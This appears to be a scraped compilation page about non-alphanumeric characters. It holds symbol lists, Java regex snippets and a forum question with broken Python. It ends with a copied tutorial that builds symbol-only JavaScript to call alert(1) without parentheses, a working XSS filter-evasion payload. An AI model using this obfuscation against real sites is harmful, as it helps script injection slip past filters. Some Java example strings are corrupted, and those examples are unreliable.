non alphanumeric characters

Non Alphanumeric Characters

Non Alphanumeric Characters

Hello and welcome to our discussion in solsarin. Today we want to talk about “Non Alphanumeric Characters” in our site. Thank you for choosing us.

 

Non Alphanumeric Characters
Non Alphanumeric Characters

 

What Are Non-Alphanumeric Characters? Easy Definitions And Examples?

Have you ever been confused about what non-alphanumeric characters are?

Non-alphanumeric characters are those characters or kinds of symbols that appear on the keyboard of a computer, including punctuation and mathematical symbols, these special characters are called non-alphanumeric characters. Those characters, which are not letters or numbers, are non-alphanumeric characters. An asterisk (*) is an example of a non-alphanumeric character.

Non-alpha, or non-alphanumeric, characters are used in several ways like in names and passwords, these non-alphanumeric characters are divided into four categories which are general punctuation, brackets, mathematical symbols, and miscellaneous characters. Some examples of these categories are mentioned below.

General punctuation- ´ (grave accent), , (comma), ! (exclamation mark), * (asterisk), _ (underscore), – (hyphen), ; (semicolon), @ (at-sign), : (colon), ? (question mark), . (full-stop/period), ‘ (apostrophe) and “ (double quote mark). All these kind of symbol falls under the category of general punctuation. There are many more kinds of characters and symbols that are used as an example of non-alphanumeric characters which are discussed below.

If you find this article helpful, you can also visit these why do scientists use models and what are mothballs used for.

Examples Of Non-Alphanumeric Characters

There are four categories of non alphanumeric characters which are general punctuation, brackets, mathematical symbol and miscellaneous characters. Some of the examples of general punctuation are discussed above like , (comma), @ (at-sign), (grave accent), * (asterisk) _ (underscore) – (hyphen), ! (exclamation mark), : (colon), ? (question mark), ; (semicolon). (full-stop, period)‘ (apostrophe) and “ (double quote mark). Examples of brackets include ( (open parenthesis), ) (close parenthesis) { (open brace) } (close brace) [ (open bracket) ] (close bracket) < (less than) > (greater than). Examples of mathematical symbol include %(percent) +(plus sign) =(equals) .

Decimal points and signs of miscellaneous character include ~ (tilde), ^ (carat), | (pipe), / (forward slash), \ (backslash), $ (dollar sign), & (ampersand), # (hash mark). These were some basic examples of non-alphanumeric characters which are common in usernames and passwords. There are many signs that can be used as non-alphanumeric passwords because non-alphanumeric passwords are made up of a combination of punctuation and symbols and it is possible that your password might contain some special characters, or non-alphanumeric, characters for heightened security. So, in short, any character on your keyboard which is not a part of the alphabet or is numeric can be considered a non-alphanumeric character.

Non-alphanumeric Characters

Non-alphanumeric characters are characters except alphanumeric characters. So alphabet and numeric characters are not non-alphanumeric characters. Below you can find a generic list of non-alphanumeric characters.

(blank space)
~ (tilde)
` (grave accent)
! (exclamation mark)
@ (at)
# (pound)
$ (dollar sign)
% (percent)
^ (carat)
& (ampersand)
* (asterisk)
( (open parenthesis)
) (close parenthesis)
_ (underscore)
- (hyphen)
+ (plus sign)
= (equals)
{ (open brace)
} (close brace)
[ (open bracket)
] (close bracket)
| (pipe)
\ (backslash)
: (colon)
; (semicolon)
< (less than)
, (comma)
> (greater than)
. (period)
? (question mark)
/ (forward slash)

Punctuation Characters

The punction characters are part of non-alphanumeric characters.

! 
@
#
&
(
)
–
[
{
}
]
:
;
'
,
?
/
*

Symbol Characters

Symbol characters are characters that are symbols like below. The symbol characters are also non-alphanumeric characters.

`
~
$
^
+
=
<
>
“

Regex For Non-alphanumeric Characters

Regex is a popular method in order to express specific patterns, characters, etc. The non-alphanumeric characters can express with the following regex.

 

Non Alphanumeric Characters
Non Alphanumeric Characters

 

How to remove all non-alphanumeric characters from a string in Java?

Given a string str, the task is to remove all non-alphanumeric characters from it and print the modified it.
Examples:

Input: @!Geeks-for’Geeks,123
Output: GeeksforGeeks123
Explanation: at symbol(@), exclamation point(!), dash(-), apostrophes(‘), and commas(, ) are removed.

Input: Geeks_for$ Geeks?{}[]
Output: GeeksforGeeks
Explanation: underscore(_), dollar sign($), white space, question mark(?), curly braces({}), and square bracket([]) are removed.

Input: GeeksforGeeks123
Output: GeeksforGeeks123
Explanation: No need to remove any character, because the given string doesn’t have any non-alphanumeric character.

Method 1: Using ASCII values

Since the alphanumeric characters lie in the ASCII value range of [65, 90] for uppercase alphabets, [97, 122] for lowercase alphabets, and [48, 57] for digits. Hence traverse the string character by character and fetch the ASCII value of each character. If the ASCII value is not in the above three ranges, then the character is a non-alphanumeric character. Therefore skip such characters and add the rest in another string and print it.

Method 2: Using String.replaceAll()

Non-alphanumeric characters comprise of all the characters except alphabets and numbers. It can be punctuation characters like exclamation mark(!), at symbol(@)commas(, )question mark(?)colon(:)dash(-) etc and special characters like dollar sign($)equal symbol(=)plus sign(+)apostrophes(‘).

The approach is to use the String.replaceAll method to replace all the non-alphanumeric characters with an empty string.

Below is the implementation of the above approach:

Java

 

// Java program to remove non-alphanumeric
// characters from a string
class GFG {
// Function to remove non-alphanumeric
// characters from string
public static String
removeNonAlphanumeric(String str)
{
// replace the given string
// with empty string
// except the pattern "[^a-zA-Z0-9]"
str = str.replaceAll(
"[^a-zA-Z0-9]", "");
// return string
return str;
}
// Driver Code
public static void main(String args[])
{
// Test Case 1:
String str1 
= "@!Geeks-for'Geeks, 123";
System.out.println(
removeNonAlphanumeric(str1));
// Test Case 2:
String str2 
= "Geeks_for$ Geeks?{}[]";
System.out.println(
removeNonAlphanumeric(str2));
// Test Case 3:
String str3 
= "GeeksforGeeks123";
System.out.println(
removeNonAlphanumeric(str3));
}
}

Output

GeeksforGeeks123
GeeksforGeeks
GeeksforGeeks123

Method 3: Using Regular Expression

Another approach involved using of regular expression. The string can be easily filtered using the ReGex [^a-zA-Z0-9 ].

RegEx to remove all non alphanumeric characters

Could someone please show me how to use some simple RegEx to do the following please:

 

String with spaces, punctuation; and numbers (22)” -> “Stringwithspacespunctuationandnumbers22

 

The only characters I want to retain are letters a-z (case doesn’t matter) and numbers 0 to 9. I’m working with web services that don’t like punctuation, but I don’t want to code string values with a generic recordID because I still want the results to be readable.

Basically, anything that isn’t a to z or 0 to 9 can just be thrown away.

 

Non Alphanumeric Characters
Non Alphanumeric Characters

 

Java regex check non-alphanumeric string

The Alphanumericals are a combination of alphabetical [a-zA-Z] and numerical [0-9] characters, a total of 62 characters, and we can use regex [a-zA-Z0-9]+ to matches alphanumeric characters.

If we want regex matches non-alphanumeric characters, prefix it with a negate symbol ^, meaning we want any characters that are not alphanumeric.


  ^[^a-zA-Z0-9]+$

Regex explanation


  ^             # start string
  [^a-zA-Z0-9]  # NOT a-z, A-Z and 0-9
  +             # one or more
  $             # end string

1. Java regex non-alphanumeric

Below is a Java regex to check for non-alphanumeric characters.

StringNonAlphanumeric.java
package com.mkyong.regex.string;

public class StringNonAlphanumeric {

    public static void main(String[] args) {

        String str = "[email protected]#$%";

        if (str.matches("^[^a-zA-Z0-9]+$")) {
            System.out.println("Yes, true.");
        } else {
            System.out.println("failed!");
        }
    }
}

Output

Terminal

  Yes, true.

2. Java regex non-alphanumeric, underscore and colon

We can add all the invalid symbols into the bracket [ ].


  ^[^a-zA-Z0-9_:]+$
StringNonAlphanumericExtra.java
package com.mkyong.regex.string;

public class StringNonAlphanumericExtra {

    public static void main(String[] args) {

        String str = "[email protected]#$%";

        if (str.matches("^[^a-zA-Z0-9_:]+$")) {
            System.out.println("Yes, true.");
        } else {
            System.out.println("failed!");
        }
    }
}

Output

Terminal

  Yes, true.

For String str = "[email protected]#_:";, now it will display below:

Terminal

  failed!

Download Source Code

$ git clone https://github.com/mkyong/core-java

$ cd java-regex/string

 

Python – Finding all non alpha-numeric characters in a string

I’m designing a system that allows users to input a string, and the strength of the string to determining by the amount of non alphanumeric characters. Points should award like so: +1 for every non-alnum character to a maximum of 3 non-alnum characters.

def non_alnum_2(total,pwd):
count = 0
lid = 3
number = 0
if pwd[count].isalnum():
    if True:
        print "Nope"
    if False:
        print "Good job"
        count = count + 1
        number += 1
if number > lid:
    number = lid
return number

total = 0
number = 0
pwd = raw_input("What is your password? ")

non_alnum_2(total, pwd)
print total
total += number

Executing non-alphanumeric JavaScript without parenthesis

I decided to look into non-alphanumeric JavaScript again and see if it was possible to execute it without parenthesis. A few years ago I did a presentation on non-alpha code if you want some more information on how it works take a look at the slides. Using similar techniques we were able to hack Uber.

A few things have changed in the browser world since the last time I looked into it, the interesting features are template literals and the find function on the array object. Template literals are useful because you can call functions without parenthesis and the find function can generate using “undefined” and therefore is much shorter than the original method of “filter”.

The basis of non-alpha involves using JavaScript objects to generate strings that eventually lead to code execution. For example +[] creates zero in JavaScript, [][[]] creates undefined. By converting objects such as undefined to a string like this [[][[]]+[]][+[]] then we can reuse those characters and get access to other objects. We need to call the constructor property of a function if we want to call arbitrary code, like this [].find.constructor(‘alert(1)’)().

So the first task is to generate the string “find”, we need to generate numbers in order to get the right index on the string undefined. Here’s how to generate the number 1.

+!+[]//1

Basically the code creates zero ! flips it true because 0 is falsey in JavaScript, then + is the infix operator which makes true into 1. Then we need to create the string undefined as mentioned above and get 4th index by add those numbers together. To produce “f”.

[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]]//f

Then we need to do the same thing to generate the other letters increasing/decreasing the index.

[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]]//i
[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]//n
[[][[]]+[]][+[]][!+[]+!+[]]//d

Now we need to combine the characters and access the “find” function on an array literal.

[][[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]]]//find function

This gives us some more characters to play with, the find function’s toString value is function find() {[native code]}, the important character here is “c”. We can use the code above to get the find function and convert it to a string then get the relevant index.

[[][[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]]]+[]][+[]][!+[]+!+[]+!+[]]//c

Now we continue and get the other characters of “constructor” using “object”, true and false and converting them to strings.

[[]+{}][+[]][+!+[]]//o
[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]//n
[![]+[]][+[]][!+[]+!+[]+!+[]]//s
[!![]+[]][+[]][+[]]//t
[!![]+[]][+[]][+!+[]]//r
[[][[]]+[]][+[]][+[]]//u
[[][[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]]]+[]][+[]][!+[]+!+[]+!+[]]//c
[!![]+[]][+[]][+[]]//t
[[]+{}][+[]][+!+[]]//o
[!![]+[]][+[]][+!+[]]//r

It’s now possible to access the Function constructor by getting the constructor property twice on an array literal. Combine the characters above to form “constructor”, then use an array literal [][‘constructor’][‘constructor’] to access the Function constructor.

[][[[][[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]]]+[]][+[]][!+[]+!+[]+!+[]]+[[]+{}][+[]][+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[![]+[]][+[]][!+[]+!+[]+!+[]]+[!![]+[]][+[]][+[]]+[!![]+[]][+[]][+!+[]]+[[][[]]+[]][+[]][+[]]+[[][[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]]]+[]][+[]][!+[]+!+[]+!+[]]+[!![]+[]][+[]][+[]]+[[]+{}][+[]][+!+[]]+[!![]+[]][+[]][+!+[]]][[[][[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]]]+[]][+[]][!+[]+!+[]+!+[]]+[[]+{}][+[]][+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[![]+[]][+[]][!+[]+!+[]+!+[]]+[!![]+[]][+[]][+[]]+[!![]+[]][+[]][+!+[]]+[[][[]]+[]][+[]][+[]]+[[][[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]]]+[]][+[]][!+[]+!+[]+!+[]]+[!![]+[]][+[]][+[]]+[[]+{}][+[]][+!+[]]+[!![]+[]][+[]][+!+[]]]//Function

Now we need to generate the code we want to execute in this case alert(1), true and false can generate alert. then we need the parenthesis from the [].find function.

[!{}+[]][+[]][+!+[]]//a
[!{}+[]][+[]][+!+[]+!+[]]//l
[!{}+[]][+[]][+!+[]+!+[]+!+[]+!+[]]//e
[!![]+[]][+[]][+!+[]]//r
[!![]+[]][+[]][+[]]//t
[[][[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]]]+[]][+[]][+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]//(
+!+[]//1
[[][[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]]]+[]][+[]][+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]//) 

That’s the code generated now we need to execute it. Template literals will call a function even if it’s an expression this allows you to place them next to each other and is very useful for non-alpha code. The Function constructor returns a function and actually needs to be called twice in order to execute the code. E.g Function`alert(1)“` this is perfectly valid JavaScript. You might think you can just pass a generated string inside a template literal and execute the Function constructor however this won’t quite work as demonstrated by the following code alert`${‘ale’+’rt(1)’}`.

The template literals pass each part of the string as an argument, if you place some text before and after the template literal expression then you’ll see two arguments are sent to the calling function, the first argument contains the text before and after the template expression separated by a comma and the second argument contains the result of the template literal expression. Like the following code demonstrates:

function x(){ alert(arguments[0]);alert(arguments[1])  }
x`x${'ale'+'rt(1)'}x`

All that’s left to do is pass our generated Function constructor to a template literal and instead of using “x” as above we use “$” at either side of the template literal expression. This creates two unused arguments for the function. The final code is below.

[][[[][[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]]]+[]][+[]][!+[]+!+[]+!+[]]+[[]+{}][+[]][+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[![]+[]][+[]][!+[]+!+[]+!+[]]+[!![]+[]][+[]][+[]]+[!![]+[]][+[]][+!+[]]+[[][[]]+[]][+[]][+[]]+[[][[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]]]+[]][+[]][!+[]+!+[]+!+[]]+[!![]+[]][+[]][+[]]+[[]+{}][+[]][+!+[]]+[!![]+[]][+[]][+!+[]]][[[][[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[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]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]}$```//Function(alert(1))

 

Random Posts

Leave a Reply

Your email address will not be published. Required fields are marked *